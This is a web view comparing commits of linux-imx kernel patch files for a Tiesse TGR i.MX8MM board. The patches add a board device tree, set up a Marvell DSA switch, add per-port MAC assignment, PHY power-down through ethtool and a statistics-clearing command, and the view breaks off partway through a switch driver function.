Compare commits

..

3 Commits

24 changed files with 2515 additions and 595 deletions

View File

@ -1,8 +1,8 @@
diff --git arch/arm64/boot/dts/freescale/Makefile arch/arm64/boot/dts/freescale/Makefile Index: arch/arm64/boot/dts/freescale/Makefile
index da7ede2f5744..2a0a0f56b9a8 100644 ===================================================================
--- linux-imx/arch/arm64/boot/dts/freescale/Makefile --- arch/arm64/boot/dts/freescale/Makefile.orig
+++ linux-imx/arch/arm64/boot/dts/freescale/Makefile +++ linux-imx/arch/arm64/boot/dts/freescale/Makefile
@@ -116,7 +116,8 @@ dtb-$(CONFIG_ARCH_FSL_IMX8MQ) += fsl-imx8mq-ddr3l-arm2.dtb \ @@ -116,7 +116,8 @@ dtb-$(CONFIG_ARCH_FSL_IMX8MQ) += fsl-imx
fsl-imx8mq-evk-inmate.dtb \ fsl-imx8mq-evk-inmate.dtb \
fsl-imx8mq-evk-dp.dtb \ fsl-imx8mq-evk-dp.dtb \
fsl-imx8mq-evk-edp.dtb fsl-imx8mq-evk-edp.dtb
@ -12,12 +12,11 @@ index da7ede2f5744..2a0a0f56b9a8 100644
fsl-imx8mm-evk-ak4497.dtb \ fsl-imx8mm-evk-ak4497.dtb \
fsl-imx8mm-evk-m4.dtb \ fsl-imx8mm-evk-m4.dtb \
fsl-imx8mm-evk-ak5558.dtb \ fsl-imx8mm-evk-ak5558.dtb \
diff --git arch/arm64/boot/dts/freescale/fsl-imx8mm-tgr.dts arch/arm64/boot/dts/freescale/fsl-imx8mm-tgr.dts Index: arch/arm64/boot/dts/freescale/fsl-imx8mm-tgr.dts
new file mode 100755 ===================================================================
index 000000000000..411de1c8c620
--- /dev/null --- /dev/null
+++ linux-imx/arch/arm64/boot/dts/freescale/fsl-imx8mm-tgr.dts +++ linux-imx/arch/arm64/boot/dts/freescale/fsl-imx8mm-tgr.dts
@@ -0,0 +1,629 @@ @@ -0,0 +1,646 @@
+/* +/*
+ * Copyright 2018 NXP + * Copyright 2018 NXP
+ * + *
@ -52,30 +51,12 @@ index 000000000000..411de1c8c620
+ +
+ pwr { + pwr {
+ label = "pwr"; + label = "pwr";
+ gpios = <&gpio4 8 GPIO_ACTIVE_HIGH>; + gpios = <&gpio4 5 GPIO_ACTIVE_HIGH>;
+ default-state = "on"; + default-state = "on";
+ }; + };
+ +
+ lte { + lte {
+ label = "lte"; + label = "lte";
+ gpios = <&gpio4 7 GPIO_ACTIVE_HIGH>;
+ default-state = "off";
+ };
+
+ ble {
+ label = "ble";
+ gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>;
+ default-state = "off";
+ };
+
+ wifi {
+ label = "wifi";
+ gpios = <&gpio4 5 GPIO_ACTIVE_HIGH>;
+ default-state = "off";
+ };
+
+ wan {
+ label = "wan";
+ gpios = <&gpio4 4 GPIO_ACTIVE_HIGH>; + gpios = <&gpio4 4 GPIO_ACTIVE_HIGH>;
+ default-state = "off"; + default-state = "off";
+ }; + };
@ -103,15 +84,6 @@ index 000000000000..411de1c8c620
+ }; + };
+}; +};
+ +
+&memory {
+ reg = <0x0 0x40000000 0 0x40000000>;
+};
+
+&linux_cma {
+ size = <0 0x14000000>;
+ alloc-ranges = <0 0x40000000 0 0x30000000>;
+};
+
+&iomuxc { +&iomuxc {
+ pinctrl-names = "default"; + pinctrl-names = "default";
+ pinctrl-0 = <&pinctrl_hog>; + pinctrl-0 = <&pinctrl_hog>;
@ -130,7 +102,8 @@ index 000000000000..411de1c8c620
+ MX8MM_IOMUXC_SAI1_TXFS_GPIO4_IO10 0x80 /* OC HUB USB */ + MX8MM_IOMUXC_SAI1_TXFS_GPIO4_IO10 0x80 /* OC HUB USB */
+ MX8MM_IOMUXC_SAI1_TXD7_GPIO4_IO19 0x10 /* USB PWR */ + MX8MM_IOMUXC_SAI1_TXD7_GPIO4_IO19 0x10 /* USB PWR */
+ MX8MM_IOMUXC_SAI1_MCLK_GPIO4_IO20 0x80 /* OC USB */ + MX8MM_IOMUXC_SAI1_MCLK_GPIO4_IO20 0x80 /* OC USB */
+ MX8MM_IOMUXC_GPIO1_IO14_GPIO1_IO14 0x10 /* RST HUB */ +
+ MX8MM_IOMUXC_GPIO1_IO14_GPIO1_IO14 0x10
+ +
+ /* SDIO WIFI */ + /* SDIO WIFI */
+ MX8MM_IOMUXC_SAI1_TXD1_GPIO4_IO13 0x10 /* SDIO WIFI ENABLE */ + MX8MM_IOMUXC_SAI1_TXD1_GPIO4_IO13 0x10 /* SDIO WIFI ENABLE */
@ -140,6 +113,9 @@ index 000000000000..411de1c8c620
+ MX8MM_IOMUXC_SAI1_RXC_GPIO4_IO1 0x10 /* MODEM RST */ + MX8MM_IOMUXC_SAI1_RXC_GPIO4_IO1 0x10 /* MODEM RST */
+ MX8MM_IOMUXC_SAI1_RXD0_GPIO4_IO2 0x10 /* SIM SELECT */ + MX8MM_IOMUXC_SAI1_RXD0_GPIO4_IO2 0x10 /* SIM SELECT */
+ MX8MM_IOMUXC_SAI1_RXD1_GPIO4_IO3 0x10 /* CMD_POWER */ + MX8MM_IOMUXC_SAI1_RXD1_GPIO4_IO3 0x10 /* CMD_POWER */
+
+ /* RST BUTTON */
+ MX8MM_IOMUXC_SAI1_RXD7_GPIO4_IO9 0x1c0
+ >; + >;
+ }; + };
+ +
@ -519,12 +495,6 @@ index 000000000000..411de1c8c620
+ pinctrl-names = "default"; + pinctrl-names = "default";
+ pinctrl-0 = <&pinctrl_i2c3>; + pinctrl-0 = <&pinctrl_i2c3>;
+ status = "okay"; + status = "okay";
+
+ usb2422@2c {
+ compatible = "microchip,usb2422";
+ reg = <0x2c>;
+ reset-gpios = <&gpio1 14 GPIO_ACTIVE_LOW>;
+ };
+}; +};
+ +
+ +
@ -536,26 +506,72 @@ index 000000000000..411de1c8c620
+ pinctrl-names = "default"; + pinctrl-names = "default";
+ pinctrl-0 = <&pinctrl_fec1>, <&pinctrl_fec1_gpio>; + pinctrl-0 = <&pinctrl_fec1>, <&pinctrl_fec1_gpio>;
+ phy-mode = "rmii"; + phy-mode = "rmii";
+ phy-handle = <&ethphy0>;
+ fsl,magic-packet; + fsl,magic-packet;
+ fsl,devname = "ethsw0";
+ status = "okay"; + status = "okay";
+ +
+ phy-reset-gpios = <&gpio4 17 GPIO_ACTIVE_LOW>;
+ phy-reset-duration = <10>;
+
+ assigned-clocks = <&clk IMX8MM_CLK_ENET_REF_SRC>; + assigned-clocks = <&clk IMX8MM_CLK_ENET_REF_SRC>;
+ assigned-clock-parents = <&clk IMX8MM_SYS_PLL2_50M>; + assigned-clock-parents = <&clk IMX8MM_SYS_PLL2_50M>;
+ assigned-clock-rates = <50000000>; + assigned-clock-rates = <50000000>;
+ +
+ fixed-link {
+ speed = <100>;
+ full-duplex;
+ };
+
+ mdio { + mdio {
+ #address-cells = <1>; + #address-cells = <1>;
+ #size-cells = <0>; + #size-cells = <0>;
+ +
+ ethphy0: ethernet-phy@5 { + switch0: switch@16 {
+ compatible = "ethernet-phy-ieee802.3-c22"; + #address-cells = <1>;
+ reg = <0x5>; + #size-cells = <0>;
+ clocks = <&clk IMX8MM_CLK_ENET_REF_SRC>; +
+ clock-names = "rmii-ref"; + compatible = "marvell,mv88e6250";
+ reg = <0x10>;
+ dsa,member = <0 0>;
+ reset-gpios = <&gpio4 17 GPIO_ACTIVE_LOW>;
+
+ ports {
+ #address-cells = <1>;
+ #size-cells = <0>;
+
+ port@5 {
+ reg = <5>;
+ ethernet = <&fec1>;
+ phy-mode = "rmii";
+
+ fixed-link {
+ speed = <100>;
+ full-duplex;
+ };
+ };
+
+ port@1 {
+ reg = <1>;
+ label = "eth0";
+ phy-handle = <&switch0phy1>;
+ };
+
+ port@2 {
+ reg = <2>;
+ label = "eth1";
+ phy-handle = <&switch0phy2>;
+ };
+
+ };
+
+ mdio {
+ #address-cells = <1>;
+ #size-cells = <0>;
+
+ switch0phy1: switch0phy1@11 {
+ reg = <0x11>;
+ };
+ switch0phy2: switch0phy2@12 {
+ reg = <0x12>;
+ };
+ };
+ }; + };
+ }; + };
+}; +};
@ -647,25 +663,3 @@ index 000000000000..411de1c8c620
+&A53_0 { +&A53_0 {
+ arm-supply = <&buck2_reg>; + arm-supply = <&buck2_reg>;
+}; +};
diff --git a/arch/arm64/boot/dts/freescale/fsl-imx8mm.dtsi b/arch/arm64/boot/dts/freescale/fsl-imx8mm.dtsi
index e200219ea8bb..333c9fbaf07f 100644
--- linux-imx/arch/arm64/boot/dts/freescale/fsl-imx8mm.dtsi
+++ linux-imx/arch/arm64/boot/dts/freescale/fsl-imx8mm.dtsi
@@ -65,7 +65,7 @@
};
};
- memory@40000000 {
+ memory: memory@40000000 {
device_type = "memory";
reg = <0x0 0x40000000 0 0x80000000>;
};
@@ -76,7 +76,7 @@
ranges;
/* global autoconfigured region for contiguous allocations */
- linux,cma {
+ linux_cma: linux,cma {
compatible = "shared-dma-pool";
reusable;
size = <0 0x28000000>;

View File

@ -1,6 +1,6 @@
diff --git drivers/usb/misc/usb251xb.c drivers/usb/misc/usb251xb.c diff --git drivers/usb/misc/usb251xb.c drivers/usb/misc/usb251xb.c
index 135c91c434bf..a1ca97c07266 100644 index 135c91c434bf..a1ca97c07266 100644
--- linux-imx/drivers/usb/misc/usb251xb.c --- drivers/usb/misc/usb251xb.c
+++ linux-imx/drivers/usb/misc/usb251xb.c +++ linux-imx/drivers/usb/misc/usb251xb.c
@@ -155,6 +155,11 @@ struct usb251xb_data { @@ -155,6 +155,11 @@ struct usb251xb_data {
char product_str[USB251XB_STRING_BUFSIZE / 2]; /* ASCII string */ char product_str[USB251XB_STRING_BUFSIZE / 2]; /* ASCII string */

View File

@ -1,6 +1,6 @@
diff --git drivers/mfd/Kconfig drivers/mfd/Kconfig diff --git drivers/mfd/Kconfig drivers/mfd/Kconfig
index 997a6172735e..e33bd218301b 100644 index 997a6172735e..e33bd218301b 100644
--- linux-imx/drivers/mfd/Kconfig --- drivers/mfd/Kconfig
+++ linux-imx/drivers/mfd/Kconfig +++ linux-imx/drivers/mfd/Kconfig
@@ -1818,6 +1818,14 @@ config MFD_BD71837 @@ -1818,6 +1818,14 @@ config MFD_BD71837
if you say yes here you get support for the BD71837 if you say yes here you get support for the BD71837
@ -19,7 +19,7 @@ index 997a6172735e..e33bd218301b 100644
diff --git drivers/mfd/Makefile drivers/mfd/Makefile diff --git drivers/mfd/Makefile drivers/mfd/Makefile
index c6755df735ba..962dcc88d99c 100644 index c6755df735ba..962dcc88d99c 100644
--- linux-imx/drivers/mfd/Makefile --- drivers/mfd/Makefile
+++ linux-imx/drivers/mfd/Makefile +++ linux-imx/drivers/mfd/Makefile
@@ -232,3 +232,4 @@ obj-$(CONFIG_MFD_STM32_LPTIMER) += stm32-lptimer.o @@ -232,3 +232,4 @@ obj-$(CONFIG_MFD_STM32_LPTIMER) += stm32-lptimer.o
obj-$(CONFIG_MFD_STM32_TIMERS) += stm32-timers.o obj-$(CONFIG_MFD_STM32_TIMERS) += stm32-timers.o
@ -338,7 +338,7 @@ index 000000000000..85ce6e3eef68
+MODULE_LICENSE("GPL"); +MODULE_LICENSE("GPL");
diff --git drivers/regulator/Kconfig drivers/regulator/Kconfig diff --git drivers/regulator/Kconfig drivers/regulator/Kconfig
index 5361947ea726..e5b3c9ffb982 100644 index 5361947ea726..e5b3c9ffb982 100644
--- linux-imx/drivers/regulator/Kconfig --- drivers/regulator/Kconfig
+++ linux-imx/drivers/regulator/Kconfig +++ linux-imx/drivers/regulator/Kconfig
@@ -983,5 +983,11 @@ config REGULATOR_BD71837 @@ -983,5 +983,11 @@ config REGULATOR_BD71837
help help
@ -354,7 +354,7 @@ index 5361947ea726..e5b3c9ffb982 100644
diff --git drivers/regulator/Makefile drivers/regulator/Makefile diff --git drivers/regulator/Makefile drivers/regulator/Makefile
index 1bddbefbc8e7..0072ad5666f8 100644 index 1bddbefbc8e7..0072ad5666f8 100644
--- linux-imx/drivers/regulator/Makefile --- drivers/regulator/Makefile
+++ linux-imx/drivers/regulator/Makefile +++ linux-imx/drivers/regulator/Makefile
@@ -126,6 +126,7 @@ obj-$(CONFIG_REGULATOR_WM8350) += wm8350-regulator.o @@ -126,6 +126,7 @@ obj-$(CONFIG_REGULATOR_WM8350) += wm8350-regulator.o
obj-$(CONFIG_REGULATOR_WM8400) += wm8400-regulator.o obj-$(CONFIG_REGULATOR_WM8400) += wm8400-regulator.o

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,26 @@
Index: drivers/net/ethernet/freescale/fec_main.c
===================================================================
--- drivers/net/ethernet/freescale/fec_main.c
+++ linux-imx/drivers/net/ethernet/freescale/fec_main.c
@@ -3630,12 +3630,19 @@ fec_probe(struct platform_device *pdev)
struct device_node *np = pdev->dev.of_node, *phy_node;
int num_tx_qs;
int num_rx_qs;
+ const char *dev_name;
fec_enet_get_queue_num(pdev, &num_tx_qs, &num_rx_qs);
/* Init network device */
- ndev = alloc_etherdev_mqs(sizeof(struct fec_enet_private) +
- FEC_STATS_SIZE, num_tx_qs, num_rx_qs);
+ dev_name = of_get_property(np, "fsl,devname", NULL);
+ if (dev_name)
+ ndev = alloc_netdev_mqs(sizeof(struct fec_enet_private) +
+ FEC_STATS_SIZE, dev_name, NET_NAME_UNKNOWN,
+ ether_setup, num_tx_qs, num_rx_qs);
+ else
+ ndev = alloc_etherdev_mqs(sizeof(struct fec_enet_private) +
+ FEC_STATS_SIZE, num_tx_qs, num_rx_qs);
if (!ndev)
return -ENOMEM;

View File

@ -0,0 +1,49 @@
Index: net/dsa/Kconfig
===================================================================
--- net/dsa/Kconfig
+++ linux-imx/net/dsa/Kconfig
@@ -40,4 +40,9 @@ config NET_DSA_TAG_TRAILER
config NET_DSA_TAG_QCA
bool
+config NET_DSA_SLAVE_MAC
+ bool "DSA Extension for Tiesse TGR"
+ ---help---
+ This enables a Tiesse TGR specific mac assignement schema
+
endif
Index: net/dsa/slave.c
===================================================================
--- net/dsa/slave.c
+++ linux-imx/net/dsa/slave.c
@@ -27,6 +27,18 @@
static bool dsa_slave_dev_check(struct net_device *dev);
+#ifdef CONFIG_NET_DSA_SLAVE_MAC
+static inline void eth_hw_addr_assign(int port_index,
+ struct net_device *dst,
+ struct net_device *src)
+{
+ u64 temp = ether_addr_to_u64(src->dev_addr);
+ temp += port_index-1;
+ u64_to_ether_addr(temp, dst->dev_addr);
+ dst->addr_assign_type = src->addr_assign_type;
+}
+#endif
+
/* slave mii_bus handling ***************************************************/
static int dsa_slave_phy_read(struct mii_bus *bus, int addr, int reg)
{
@@ -1277,7 +1289,11 @@ int dsa_slave_create(struct dsa_port *po
slave_dev->features = master->vlan_features | NETIF_F_HW_TC;
slave_dev->hw_features |= NETIF_F_HW_TC;
slave_dev->ethtool_ops = &dsa_slave_ethtool_ops;
+#ifdef CONFIG_NET_DSA_SLAVE_MAC
+ eth_hw_addr_assign(port->index, slave_dev, master);
+#else
eth_hw_addr_inherit(slave_dev, master);
+#endif
slave_dev->priv_flags |= IFF_NO_QUEUE;
slave_dev->netdev_ops = &dsa_slave_netdev_ops;
slave_dev->switchdev_ops = &dsa_slave_switchdev_ops;

View File

@ -0,0 +1,322 @@
Index: drivers/net/phy/phy.c
===================================================================
--- drivers/net/phy/phy.c
+++ linux-imx/drivers/net/phy/phy.c
@@ -55,6 +55,7 @@ static const char *phy_state_to_str(enum
PHY_STATE_STR(NOLINK)
PHY_STATE_STR(FORCING)
PHY_STATE_STR(CHANGELINK)
+ PHY_STATE_STR(POWERED_DOWN)
PHY_STATE_STR(HALTED)
PHY_STATE_STR(RESUMING)
}
@@ -241,6 +242,33 @@ static void phy_sanitize_settings(struct
}
}
+static int phy_shut(struct phy_device *phydev)
+{
+ mutex_lock(&phydev->lock);
+ phydev->power = PHY_POWER_DOWN;
+ if (PHY_HALTED == phydev->state) {
+ mutex_unlock(&phydev->lock);
+ return 0;
+ }
+ phydev->state = PHY_POWERED_DOWN;
+ mutex_unlock(&phydev->lock);
+ return 0;
+}
+
+static int phy_unshut(struct phy_device *phydev)
+{
+ mutex_lock(&phydev->lock);
+ phydev->power = PHY_POWER_UP;
+ if (PHY_HALTED == phydev->state) {
+ mutex_unlock(&phydev->lock);
+ return 0;
+ }
+ phy_power_up(phydev);
+ phydev->state = PHY_CHANGELINK;
+ mutex_unlock(&phydev->lock);
+ return 0;
+}
+
/**
* phy_ethtool_sset - generic ethtool sset function, handles all the details
* @phydev: target phy_device struct
@@ -257,10 +285,28 @@ static void phy_sanitize_settings(struct
int phy_ethtool_sset(struct phy_device *phydev, struct ethtool_cmd *cmd)
{
u32 speed = ethtool_cmd_speed(cmd);
+ int ret;
if (cmd->phy_address != phydev->mdio.addr)
return -EINVAL;
+ if (PHY_POWERED_DOWN == phydev->state) {
+ if (cmd->power == PHY_POWER_UP) {
+ ret = phy_unshut(phydev);
+ if (ret < 0)
+ return -EIO;
+ phy_trigger_machine(phydev, true);
+ }
+ return 0;
+ }
+ else if (cmd->power == PHY_POWER_DOWN) {
+ ret = phy_shut(phydev);
+ if (ret < 0)
+ return -EIO;
+ phy_trigger_machine(phydev, true);
+ return 0;
+ }
+
/* We make sure that we don't pass unsupported values in to the PHY */
cmd->advertising &= phydev->supported;
@@ -308,10 +354,28 @@ int phy_ethtool_ksettings_set(struct phy
u8 duplex = cmd->base.duplex;
u32 speed = cmd->base.speed;
u32 advertising;
+ int ret;
if (cmd->base.phy_address != phydev->mdio.addr)
return -EINVAL;
+ if (PHY_POWERED_DOWN == phydev->state) {
+ if (cmd->base.power == PHY_POWER_UP) {
+ ret = phy_unshut(phydev);
+ if (ret < 0)
+ return -EIO;
+ phy_trigger_machine(phydev, true);
+ }
+ return 0;
+ }
+ else if (cmd->base.power == PHY_POWER_DOWN) {
+ ret = phy_shut(phydev);
+ if (ret < 0)
+ return -EIO;
+ phy_trigger_machine(phydev, true);
+ return 0;
+ }
+
ethtool_convert_link_mode_to_legacy_u32(&advertising,
cmd->link_modes.advertising);
@@ -379,6 +443,7 @@ void phy_ethtool_ksettings_get(struct ph
cmd->base.autoneg = phydev->autoneg;
cmd->base.eth_tp_mdix_ctrl = phydev->mdix_ctrl;
cmd->base.eth_tp_mdix = phydev->mdix;
+ cmd->base.power = phydev->power;
}
EXPORT_SYMBOL(phy_ethtool_ksettings_get);
@@ -881,7 +946,7 @@ void phy_state_machine(struct work_struc
struct delayed_work *dwork = to_delayed_work(work);
struct phy_device *phydev =
container_of(dwork, struct phy_device, state_queue);
- bool needs_aneg = false, do_suspend = false;
+ bool needs_aneg = false, do_suspend = false, do_power_down = false;
enum phy_state old_state;
int err = 0;
int old_link;
@@ -1014,6 +1079,14 @@ void phy_state_machine(struct work_struc
do_suspend = true;
}
break;
+ case PHY_POWERED_DOWN:
+ phy_read_status(phydev);
+ if (phydev->link) {
+ phydev->link = 0;
+ phy_link_down(phydev, true);
+ do_power_down = true;
+ }
+ break;
case PHY_RESUMING:
if (AUTONEG_ENABLE == phydev->autoneg) {
err = phy_aneg_done(phydev);
@@ -1059,8 +1132,14 @@ void phy_state_machine(struct work_struc
if (needs_aneg)
err = phy_start_aneg_priv(phydev, false);
- else if (do_suspend)
- phy_suspend(phydev);
+ else {
+ if (do_suspend)
+ phy_suspend(phydev);
+ if (do_power_down) {
+ phy_power_down(phydev);
+ phy_read_status(phydev);
+ }
+ }
if (err < 0)
phy_error(phydev);
Index: drivers/net/phy/phy_device.c
===================================================================
--- drivers/net/phy/phy_device.c
+++ linux-imx/drivers/net/phy/phy_device.c
@@ -1230,6 +1230,31 @@ out:
}
EXPORT_SYMBOL(phy_loopback);
+int phy_power_down(struct phy_device *phydev)
+{
+ struct phy_driver *phydrv = to_phy_driver(phydev->mdio.dev.driver);
+ int ret = 0;
+
+ if (phydev->drv && phydrv->suspend)
+ ret = phydrv->suspend(phydev);
+
+ return ret;
+
+}
+EXPORT_SYMBOL(phy_power_down);
+
+int phy_power_up(struct phy_device *phydev)
+{
+ struct phy_driver *phydrv = to_phy_driver(phydev->mdio.dev.driver);
+ int ret = 0;
+
+ if (phydev->drv && phydrv->resume)
+ ret = phydrv->resume(phydev);
+
+ return ret;
+}
+EXPORT_SYMBOL(phy_power_up);
+
/* Generic PHY support and helper functions */
/**
@@ -1501,6 +1526,7 @@ EXPORT_SYMBOL(genphy_update_link);
*/
int genphy_read_status(struct phy_device *phydev)
{
+ int bmcr;
int adv;
int err;
int lpa;
@@ -1513,6 +1539,10 @@ int genphy_read_status(struct phy_device
if (err)
return err;
+ bmcr = phy_read(phydev, MII_BMCR);
+ if (bmcr < 0)
+ return bmcr;
+
phydev->lp_advertising = 0;
if (AUTONEG_ENABLE == phydev->autoneg) {
@@ -1567,11 +1597,6 @@ int genphy_read_status(struct phy_device
phydev->asym_pause = lpa & LPA_PAUSE_ASYM ? 1 : 0;
}
} else {
- int bmcr = phy_read(phydev, MII_BMCR);
-
- if (bmcr < 0)
- return bmcr;
-
if (bmcr & BMCR_FULLDPLX)
phydev->duplex = DUPLEX_FULL;
else
@@ -1588,6 +1613,11 @@ int genphy_read_status(struct phy_device
phydev->asym_pause = 0;
}
+ if (bmcr & BMCR_PDOWN)
+ phydev->power = PHY_POWER_DOWN;
+ else
+ phydev->power = PHY_POWER_UP;
+
return 0;
}
EXPORT_SYMBOL(genphy_read_status);
Index: include/linux/phy.h
===================================================================
--- include/linux/phy.h
+++ linux-imx/include/linux/phy.h
@@ -348,6 +348,7 @@ enum phy_state {
PHY_NOLINK,
PHY_FORCING,
PHY_CHANGELINK,
+ PHY_POWERED_DOWN,
PHY_HALTED,
PHY_RESUMING
};
@@ -447,6 +448,8 @@ struct phy_device {
int link_timeout;
+ int power;
+
#ifdef CONFIG_LED_TRIGGER_PHY
struct phy_led_trigger *phy_led_triggers;
unsigned int phy_num_led_triggers;
@@ -819,6 +822,8 @@ int phy_suspend(struct phy_device *phyde
int phy_resume(struct phy_device *phydev);
int __phy_resume(struct phy_device *phydev);
int phy_loopback(struct phy_device *phydev, bool enable);
+int phy_power_up(struct phy_device *phydev);
+int phy_power_down(struct phy_device *phydev);
struct phy_device *phy_attach(struct net_device *dev, const char *bus_id,
phy_interface_t interface);
struct phy_device *phy_find_first(struct mii_bus *bus);
Index: include/uapi/linux/ethtool.h
===================================================================
--- include/uapi/linux/ethtool.h
+++ linux-imx/include/uapi/linux/ethtool.h
@@ -114,7 +114,10 @@ struct ethtool_cmd {
__u8 eth_tp_mdix;
__u8 eth_tp_mdix_ctrl;
__u32 lp_advertising;
- __u32 reserved[2];
+ __u8 power;
+ __u8 reserved2;
+ __u16 reserved3;
+ __u32 reserved[1];
};
static inline void ethtool_cmd_speed_set(struct ethtool_cmd *ep,
@@ -1664,6 +1667,11 @@ static inline int ethtool_validate_duple
#define ETH_MODULE_SFF_8436 0x4
#define ETH_MODULE_SFF_8436_LEN 256
+/* TIESSE Power, up or down. */
+#define PHY_POWER_IGNORE 0x0
+#define PHY_POWER_DOWN 0x1
+#define PHY_POWER_UP 0x2
+
/* Reset flags */
/* The reset() operation must clear the flags for the components which
* were actually reset. On successful return, the flags indicate the
@@ -1808,7 +1816,8 @@ struct ethtool_link_settings {
__u8 eth_tp_mdix_ctrl;
__s8 link_mode_masks_nwords;
__u8 transceiver;
- __u8 reserved1[3];
+ __u8 power;
+ __u8 reserved1[2];
__u32 reserved[7];
__u32 link_mode_masks[0];
/* layout of link_mode_masks fields:
Index: net/core/ethtool.c
===================================================================
--- net/core/ethtool.c
+++ linux-imx/net/core/ethtool.c
@@ -480,6 +480,8 @@ convert_legacy_settings_to_link_ksetting
= legacy_settings->eth_tp_mdix;
link_ksettings->base.eth_tp_mdix_ctrl
= legacy_settings->eth_tp_mdix_ctrl;
+ link_ksettings->base.power
+ = legacy_settings->power;
return retval;
}
@@ -526,6 +528,8 @@ convert_link_ksettings_to_legacy_setting
= link_ksettings->base.eth_tp_mdix_ctrl;
legacy_settings->transceiver
= link_ksettings->base.transceiver;
+ legacy_settings->power
+ = link_ksettings->base.power;
return retval;
}

View File

@ -0,0 +1,13 @@
Index: drivers/net/phy/phy_device.c
===================================================================
--- drivers/net/phy/phy_device.c
+++ linux-imx/drivers/net/phy/phy_device.c
@@ -1389,6 +1389,8 @@ int genphy_setup_forced(struct phy_devic
if (DUPLEX_FULL == phydev->duplex)
ctl |= BMCR_FULLDPLX;
+ ctl |= BMCR_RESET;
+
return phy_write(phydev, MII_BMCR, ctl);
}
EXPORT_SYMBOL(genphy_setup_forced);

View File

@ -0,0 +1,235 @@
Index: include/uapi/linux/ethtool.h
===================================================================
--- include/uapi/linux/ethtool.h
+++ linux-imx/include/uapi/linux/ethtool.h
@@ -1377,6 +1377,7 @@ enum ethtool_fec_config_bits {
#define ETHTOOL_PHY_STUNABLE 0x0000004f /* Set PHY tunable configuration */
#define ETHTOOL_GFECPARAM 0x00000050 /* Get FEC settings */
#define ETHTOOL_SFECPARAM 0x00000051 /* Set FEC settings */
+#define ETHTOOL_CSTATS 0x00000052 /* Clear statistics */
/* compatibility with older code */
#define SPARC_ETH_GSET ETHTOOL_GSET
Index: net/core/ethtool.c
===================================================================
--- net/core/ethtool.c
+++ linux-imx/net/core/ethtool.c
@@ -1938,6 +1938,15 @@ static int ethtool_get_stats(struct net_
return ret;
}
+static int ethtool_clear_stats(struct net_device *dev)
+{
+ if (!dev->ethtool_ops->clear_ethtool_stats)
+ return -EOPNOTSUPP;
+
+ dev->ethtool_ops->clear_ethtool_stats(dev);
+ return 0;
+}
+
static int ethtool_get_phy_stats(struct net_device *dev, void __user *useraddr)
{
struct ethtool_stats stats;
@@ -2577,6 +2586,7 @@ int dev_ethtool(struct net *net, struct
case ETHTOOL_GSSET_INFO:
case ETHTOOL_GSTRINGS:
case ETHTOOL_GSTATS:
+ case ETHTOOL_CSTATS:
case ETHTOOL_GPHYSTATS:
case ETHTOOL_GTSO:
case ETHTOOL_GPERMADDR:
@@ -2688,6 +2698,9 @@ int dev_ethtool(struct net *net, struct
case ETHTOOL_GSTATS:
rc = ethtool_get_stats(dev, useraddr);
break;
+ case ETHTOOL_CSTATS:
+ rc = ethtool_clear_stats(dev);
+ break;
case ETHTOOL_GPERMADDR:
rc = ethtool_get_perm_addr(dev, useraddr);
break;
Index: include/linux/ethtool.h
===================================================================
--- include/linux/ethtool.h
+++ linux-imx/include/linux/ethtool.h
@@ -347,6 +347,7 @@ struct ethtool_ops {
int (*set_phys_id)(struct net_device *, enum ethtool_phys_id_state);
void (*get_ethtool_stats)(struct net_device *,
struct ethtool_stats *, u64 *);
+ void (*clear_ethtool_stats)(struct net_device *);
int (*begin)(struct net_device *);
void (*complete)(struct net_device *);
u32 (*get_priv_flags)(struct net_device *);
Index: net/dsa/slave.c
===================================================================
--- net/dsa/slave.c
+++ linux-imx/net/dsa/slave.c
@@ -1019,6 +1019,30 @@ static int dsa_slave_set_rxnfc(struct ne
return ds->ops->set_rxnfc(ds, p->dp->index, nfc);
}
+static void dsa_slave_clear_ethtool_stats(struct net_device *dev)
+{
+ struct dsa_slave_priv *p = netdev_priv(dev);
+ struct dsa_switch *ds = p->dp->ds;
+ struct pcpu_sw_netstats *s;
+ unsigned int start;
+ int i;
+
+ memset(&dev->stats, 0, sizeof(struct net_device_stats));
+ for_each_possible_cpu(i) {
+ s = per_cpu_ptr(p->stats64, i);
+ do {
+ start = u64_stats_fetch_begin_irq(&s->syncp);
+ s->tx_packets = 0L;
+ s->tx_bytes = 0L;
+ s->rx_packets = 0L;
+ s->rx_bytes = 0L;
+ } while (u64_stats_fetch_retry_irq(&s->syncp, start));
+ }
+
+ if (ds->ops->clear_ethtool_stats)
+ ds->ops->clear_ethtool_stats(ds, p->dp->index);
+}
+
static const struct ethtool_ops dsa_slave_ethtool_ops = {
.get_drvinfo = dsa_slave_get_drvinfo,
.get_regs_len = dsa_slave_get_regs_len,
@@ -1039,6 +1063,7 @@ static const struct ethtool_ops dsa_slav
.set_link_ksettings = dsa_slave_set_link_ksettings,
.get_rxnfc = dsa_slave_get_rxnfc,
.set_rxnfc = dsa_slave_set_rxnfc,
+ .clear_ethtool_stats = dsa_slave_clear_ethtool_stats,
};
static const struct net_device_ops dsa_slave_netdev_ops = {
Index: drivers/net/dsa/mv88e6xxx/chip.h
===================================================================
--- drivers/net/dsa/mv88e6xxx/chip.h
+++ linux-imx/drivers/net/dsa/mv88e6xxx/chip.h
@@ -330,6 +330,7 @@ struct mv88e6xxx_ops {
void (*stats_get_strings)(struct mv88e6xxx_chip *chip, uint8_t *data);
void (*stats_get_stats)(struct mv88e6xxx_chip *chip, int port,
uint64_t *data);
+ void (*stats_clear_stats)(struct mv88e6xxx_chip *chip, int port);
int (*set_cpu_port)(struct mv88e6xxx_chip *chip, int port);
int (*set_egress_port)(struct mv88e6xxx_chip *chip, int port);
const struct mv88e6xxx_irq_ops *watchdog_ops;
Index: include/net/dsa.h
===================================================================
--- include/net/dsa.h
+++ linux-imx/include/net/dsa.h
@@ -320,6 +320,7 @@ struct dsa_switch_ops {
void (*get_ethtool_stats)(struct dsa_switch *ds,
int port, uint64_t *data);
int (*get_sset_count)(struct dsa_switch *ds);
+ void (*clear_ethtool_stats)(struct dsa_switch *ds, int port);
/*
* ethtool Wake-on-LAN
Index: drivers/net/dsa/mv88e6xxx/chip.c
===================================================================
--- drivers/net/dsa/mv88e6xxx/chip.c
+++ linux-imx/drivers/net/dsa/mv88e6xxx/chip.c
@@ -648,6 +648,46 @@ static void mv88e6xxx_get_ethtool_stats(
mutex_unlock(&chip->reg_lock);
}
+static void mv88e6xxx_stats_clear_stats(struct mv88e6xxx_chip *chip, int port)
+{
+ u16 histogram = 0;
+ int err;
+
+ err = mv88e6xxx_g1_read(chip, MV88E6XXX_G1_STATS_OP, &histogram);
+ if (err)
